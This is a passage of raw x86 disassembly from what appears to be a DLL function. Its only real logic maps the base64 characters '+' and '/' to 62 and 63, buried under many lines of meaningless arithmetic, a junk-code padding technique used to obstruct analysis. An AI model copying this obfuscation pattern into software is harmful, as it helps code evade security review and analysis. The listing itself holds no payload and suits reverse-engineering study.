sub eax, 0x2260
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
add ecx, 0x65d
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
and edx, 0x80000003
jns 0x10007e84
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x10007e9b
cmp dword [ebp - 4], 0
jle 0x10007e9b
mov eax, dword [ebp - 4]
add eax, 0x683
mov dword [ebp - 4], eax
jmp 0x10007ea7
mov ecx, dword [ebp - 4]
sub ecx, 0x683
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x20a0
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, 0x67e
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1f8d
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
sub eax, 0x1c35
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x181c
mov dword [ebp - 4], edx
movsx eax, byte [ebp + 8]
cmp eax, 0x2b
jne 0x10007f03
mov al, 0x3e
jmp 0x10008915
mov dword [ebp - 0x14], 0xe61
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x38], 0xe9
mov dword [ebp - 0x1c], 0x21c8
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0x6c5
mov edx, dword [ebp - 0x38]
and edx, 0x80000001
jns 0x10007f46
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10007f55
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
jmp 0x10007f36
mov ecx, dword [ebp - 0x38]
sub ecx, 0x612
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x40], 0x144b
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x1980
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0x164d
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x34]
sub eax, 0x2163
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
sub edx, 0x253f
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x895
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x2c], 0x1f22
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x1d2a
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x1c29
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x358
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x24]
add eax, 0x261a
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0xdd6
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x909
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x188e
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x2328
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0xda7
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x2673
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x34]
sub edx, 0x2255
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x109
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x64], 0
jmp 0x1000810c
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x33
jge 0x1000811d
mov ecx, dword [ebp - 0x18]
sub ecx, 5
mov dword [ebp - 0x18], ecx
jmp 0x10008103
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x13ee
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x2385
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x68], 0
jmp 0x1000814f
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
cmp dword [ebp - 0x68], 0x1a
jge 0x10008160
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
jmp 0x10008146
mov ecx, dword [ebp - 0x20]
sub ecx, 0x1ea0
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x28]
add edx, 0xcb0
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x173c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x5f3
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0xaa6
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100081c6
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x100081ac
mov eax, dword [ebp - 0x2c]
sub eax, 0x222a
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x206
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x30]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100081f7
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x100081dd
mov eax, dword [ebp - 0x24]
sub eax, 0x242b
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1490
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x2292
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x2005
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x522
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x34]
and ecx, 0x80000001
jns 0x10008252
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10008261
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
jmp 0x10008242
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x247
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x30]
add edx, 0x86
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x3d7
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x2533
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x40]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100082e7
cmp dword [ebp - 0x40], 0
jle 0x100082e7
mov edx, dword [ebp - 0x40]
add edx, 0x1f15
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0xa58
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x30]
add edx, 0x3c1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add eax, 0xbf
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x25c7
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x2318
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x258b
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x34]
sub eax, 0x85e
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x1271
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10008385
mov edx, dword [ebp - 0x18]
sub edx, 0x1137
mov dword [ebp - 0x18], edx
jmp 0x10008390
mov eax, dword [ebp - 0x18]
add eax, 0x1137
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x206a
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 0x82d
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x1b5b
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x1eaa
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x867
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x33e
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x1e12
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x24]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000840d
cmp dword [ebp - 0x24], 0
jle 0x1000840d
mov edx, dword [ebp - 0x24]
add edx, 0x9c6
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x18]
add eax, 0x1a4a
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x15b9
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10008451
mov edx, dword [ebp - 0x14]
add edx, 0x155c
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x38]
add ecx, 0x13e6
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0x49e
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x1df5
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x2100
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x38]
add eax, 0x233e
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x26da
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
sub edx, 0x19ec
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x1ea5
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x2653
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x4a5
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
and edx, 0x80000003
jns 0x1000854b
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x10008562
cmp dword [ebp - 0x20], 0
jle 0x10008562
mov eax, dword [ebp - 0x20]
add eax, 0x1ced
mov dword [ebp - 0x20], eax
jmp 0x1000856e
mov ecx, dword [ebp - 0x20]
sub ecx, 0x1ced
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x2443
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x1067
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x2465
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x102f
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
add eax, 0x108d
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x14]
add eax, 0x1f7b
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x1105
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x24]
add edx, 0xada
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x38]
sub eax, 0x1f1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x3ec
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x38]
and edx, 0x80000003
jns 0x10008639
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x1000864a
mov eax, dword [ebp - 0x38]
sub eax, 0x1474
mov dword [ebp - 0x38], eax
jmp 0x10008656
mov ecx, dword [ebp - 0x38]
add ecx, 0x1474
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x30]
sub edx, 0xc74
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x34]
sub eax, 0x26fb
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0x235e
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x100086ae
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
jmp 0x10008694
mov eax, dword [ebp - 0x2c]
sub eax, 0x176e
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xbcf
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
sub eax, 0xf52
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x18]
add eax, 0x163
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x34]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x38]
add edx, 0x21a6
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x152f
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x539
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x68d
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x520
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x34]
add edx, 0x17e0
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x28]
add eax, 0x1d4c
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x1b41
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x1e0f
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x1875
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x16ed
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x2c]
add eax, 0xe2a
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
sub eax, 0xf3c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0xe73
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0xcf7
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x26e2
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x2c6
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
add eax, 0xcc
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x24]
and edx, 0x80000001
jns 0x1000889f
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100088ae
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
jmp 0x1000888f
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x1f59
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
and ecx, 0x80000001
jns 0x100088f7
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10008906
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x100088e7
movsx eax, byte [ebp + 8]
cmp eax, 0x2f
jne 0x10008913
mov al, 0x3f
jmp 0x10008915
xor al, al
mov esp, ebp
pop ebp
ret 4